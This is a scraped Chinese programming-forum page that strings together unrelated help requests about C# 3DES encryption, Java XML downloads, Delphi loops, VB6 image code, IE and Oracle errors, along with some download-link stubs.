由于平台需要3des加密,所以碰到了以下问题,此问题我已经弄了好几天了,并且在网上下了源码,但结果还有问题,与合作伙伴的java的3des加密的结果不同,希望大家<em>帮忙</em>,给我看看有什么问题没。rnrn具体要求:3des加密,编码需用gbkrn代码如下:(如果哪位朋友更好的代码,请<em>帮忙</em>提供,小生将感激不尽)rnusing System;rnusing System.Text;rnusing System.Security;rnusing System.Security.Cryptography;rnrnnamespace gdEpgrnrn class test3DESrn rn public static void Main()rn rn string str = "12345678$http://www.tvportal.com/request.jsp";rn string key = "54C1DF3BCD9BEFEA19012379D9493208346708F79B46E308";rn rn Encoding encoding = Encoding.GetEncoding(936);rn rn test3DES d = new test3DES();rn string desStr = d.Encrypt3DES(str, key, encoding);rn string strDes = d.Decrypt3DES(desStr, key);rn rn Console.WriteLine(desStr);rn Console.WriteLine(strDes);rn rn /// rn /// 加密rn /// rn /// 要加密字符串rn /// 密钥rn /// 编码方式rn /// rn public string Encrypt3DES(string strString, string strKey, Encoding encoding)rn rn TripleDESCryptoServiceProvider DES = new TripleDESCryptoServiceProvider();rn MD5CryptoServiceProvider hashMD5 = new MD5CryptoServiceProvider();rn rn DES.Key = hashMD5.ComputeHash(encoding.GetBytes(strKey));rn DES.Mode = CipherMode.ECB;rn rn ICryptoTransform DESEncrypt = DES.CreateEncryptor();rn rn byte[] Buffer = encoding.GetBytes(strString);rn return Convert.ToBase64String(DESEncrypt.TransformFinalBlock(Buffer, 0, Buffer.Length));rn rn rn /// rn /// 解密rn /// rn /// 要解密字符串rn /// 密钥rn /// rn public string Decrypt3DES(string strString, string strKey)rn rn TripleDESCryptoServiceProvider DES = new TripleDESCryptoServiceProvider();rn MD5CryptoServiceProvider hashMD5 = new MD5CryptoServiceProvider();rn rn DES.Key = hashMD5.ComputeHash(ASCIIEncoding.ASCII.GetBytes(strKey));rn DES.Mode = CipherMode.ECB;rn ICryptoTransform DESDecrypt = DES.CreateDecryptor();rn string result = "";rn tryrn rn byte[] Buffer = Convert.FromBase64String(strString);rn result = ASCIIEncoding.ASCII.GetString(DESDecrypt.TransformFinalBlock(Buffer, 0, Buffer.Length));rn rn catch(System.Exception e)rn rn throw(new System.Exception("null", e)) ;rn rn return result ;rn rn rn
高手帮忙解决!!!
我要实现的是在Action中实现生成XML文件,然后下载,这些都已经实现,rn可是下载后页面中表单其他按钮都失效(调用JavaScript的代码失效,其他的正常)rn如果不点击下载按钮则一切正常,请<em>高手</em><em>帮忙</em><em>解决</em>...代码如下(Action中)rnConnectionManager connectionManager = ConnectionManager.getConnectionManager();rn IndustryXMLInfo tradeXMLInfo = IndustryHelper.TradeXMLForm2Info(form);rn Connection con = connectionManager.openConnection();rn ArrayList list = IndustryXMLDao.find(con,tradeXMLInfo,cpCode);rn IndustryXMLDao.update(con,tradeXMLInfo);rn response.setContentType("text/xml");rn response.setHeader("Content-Disposition","attachment;filename=\"bgd.xml\"");rn XMLParser paser = new XMLParser();rn ByteArrayOutputStream out = (ByteArrayOutputStream)paser.XMLCreate(list);rn rn try rn out.writeTo(response.getOutputStream());rn out.flush();rn rn rn catch (IOException e) rn loggerrn .error(rn "busiExcute(HttpServletRequest, HttpServletResponse, Form)",rn e);rnrn // TODO 帺摦惗惉偝傟偨 catch 僽儘僢僋rn loggerrn .error(rn "busiExcute(HttpServletRequest, HttpServletResponse, Form)",rn e);rn rn rnrn if (logger.isDebugEnabled()) rn loggerrn .debug("busiExcute(HttpServletRequest, HttpServletResponse, Form) - end");rn
高手请进!!帮忙解决下!!!!!!!!!
简体中文版VS2005装三方控件Developer Express Inc.NET.2005后在新建项目里面找不到XtraReports项目有什么办法<em>解决</em>啊?急!!!
高手帮忙解决以下!!
for long:=0 to tqr.FieldCount-1 dornbeginrnwhile not tqr.eof dorn begin rn if tqr.fields[long].asinteger=0 thenrn //用什么命令可以跳出while循环,long增1进行下一个for循环rn rnrn else beginrn ary[i]:= tqr.fields[long].Asinteger;rn inc(i);rn tqr.next;rn end;rn//取出一个字段的值赋予数组aryrni:=0;rntqr.First;rnend;rnend;rnrn谢谢,当一个字段值是0的话,用什么命令可以跳出while循环,long增1进行下一个for循环
高手帮忙解决一下
我想把这段代码用Active dll编译应如何做呢?rn一个窗体、二个Picture、一个CDlg组件rnPrivate Sub Command1_Click()rn On Error Resume Nextrn CDlg1.DialogTitle = "打开图像"rn CDlg1.FileName = ""rn CDlg1.ShowOpenrn If CDlg1.FileName <> "" Thenrn If Err <> 32755 Thenrn PictureName = CDlg1.FileNamern Picture1.Picture = LoadPicture(PictureName)rn End Ifrn End Ifrn rnEnd SubrnrnPrivate Sub Command2_Click()rn Dim picName As Stringrn On Error Resume Nextrn CDlg1.DialogTitle = "保存图像"rn CDlg1.Filter = "Pictures(*.jpg)|*.jpg"rn CDlg1.FileName = ""rn CDlg1.ShowSavern If CDlg1.FileName <> "" Thenrn If Err <> 32755 Thenrn picName = CDlg1.FileNamern SavePicture Picture2.Image, picNamern End Ifrn End Ifrn rnEnd SubrnrnPrivate Sub Command4_Click()rnDim hdcdest, hdcsrcrnhdcsrc = Picture1.hdcrnhdcdest = Picture2.hdcrnrnDim x1, x2, y1, y2rnnWidthdsrc = Picture1.Picture.WidthrnnHeightsrc = Picture1.Picture.HeightrnnWidthdest = 500rnnHeightdest = 500rnx1 = Picture1.CurrentXrny1 = Picture1.CurrentYrnx2 = Picture2.CurrentXrny2 = Picture2.CurrentYrnrnDim sf As Booleanrnsf = StretchBlt(hdcdest, x1, y1, nWidthdest, nHeightdest, hdcsrc, x2, y2, nWidthdsrc, nHeightsrc, &HCC0020)rnrnPicture2.Refresh
高手请进,~!帮忙解决`~~~~~~~!
Public Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As LongrnPublic Declare Function CreateDIBSection Lib "gdi32" (ByVal hdc As Long, pBitmapInfo As BITMAPINFO, ByVal un As Long, ByVal lplpVoid As Long, ByVal handle As Long, ByVal dw As Long) As Longrnrn这两个VB代码是什么意思,给我说清楚就可以了..
请教高手帮忙解决
我的OS是windows Advanced sever,最近发现,我的ie6.0打开后,再想在此页面中,打开一个新页面就是不行(比如,右键点击一个链接,想在新窗口中打开,不能打开),请<em>高手</em>们<em>帮忙</em><em>解决</em>,非常感谢!
高手帮忙解决
"ox6ee37f8a"指令引用的“0x0000003c"内存。给内存不能为“read”.rn要终止程序,单击“确定”。rn要调试程序,单击“取消”。rn运行oracle时,出现上面的对话框,是怎么回事?如何<em>解决</em>?rn谢谢
高手帮忙解决下!急!
现在想从一个表中取出数据,依次加入treeview的节点,数据字段中有一个顺序字段。假设从第一个表中取出的顺序字段是1,3,5。从第二个表中取出顺序字段是2,4rnrn先将1,3,5加入treeview的节点中,然后插2,4的。保证最终节点的顺序是1,2,3,4,5。也就是如何将2,4插到1,3,5中??rnrn希望能给点代码参考!万分感谢!rn
高手帮忙解决
public static void main(String [] args) rn InputStreamReader in=new InputStreamReader(System.in);rn BufferedReader br=new BufferedReader(in);rn for(int j=0;j200)rn System.out.println("体重格式不正确,请输入20-200间的数字:");rn rn else if(weight>=20&&weight200)rn System.out.println("体重格式不正确,请输入20-200间的数字:");rn怎么不运行啊
高手帮忙解决一下!!~~
[code=JScript][/code]rn rn EmailAddrrn FirstNamern LastNamern PlatFormrn ClientUnsubscribern ValidEmailAddrrn HtmlCapablern ClcStatusrn Norn Agern genderrn interestrn productrn Kevin_DM_testrn Titlern CompanyNamern interest2rn MarketSectorrn Newrn Lanuagern Locationrn Frequencyrn Nationnalityrn Sourcern PointsBalancern datasrcrn usertypern Member_IDrn Unsubscribern SiteClcStatusrn rn rn rn rnrn
BIOS练习工具+自学完全精通下载
BIOS练习工具+自学完全精通,自带了一个模拟Bios的练习工具。 相关下载链接:[url=//download.csdn.net/download/ellx98/2332672?utm_source=bbsseo]//download.csdn.net/download/ellx98/2332672?utm_source=bbsseo[/url]
cadence教程下载
自己整理,里面有cadence ic的教程以及ic610的下载地址,及win下的cadence。 相关下载链接:[url=//download.csdn.net/download/kingshir/3644762?utm_source=bbsseo]//download.csdn.net/download/kingshir/3644762?utm_source=bbsseo[/url]
调用数据库下载
ASP网页如何调用数据库中的数据 asp对access数据库中数据的添加、修改、删除(已测试 ) 相关下载链接:[url=//download.csdn.net/download/zhangjia60006/6916467?utm_source=bbsseo]//download.csdn.net/download/zhangjia60006/6916467?utm_source=bbsseo[/url]
相关热词 c# 去空格去转义符 c#用户登录窗体代码 c# 流 c# linux 可视化 c# mvc 返回图片 c# 像素空间 c# 日期 最后一天 c#字典序排序 c# 截屏取色 c#中的哪些属于托管机制
我们是很有底线的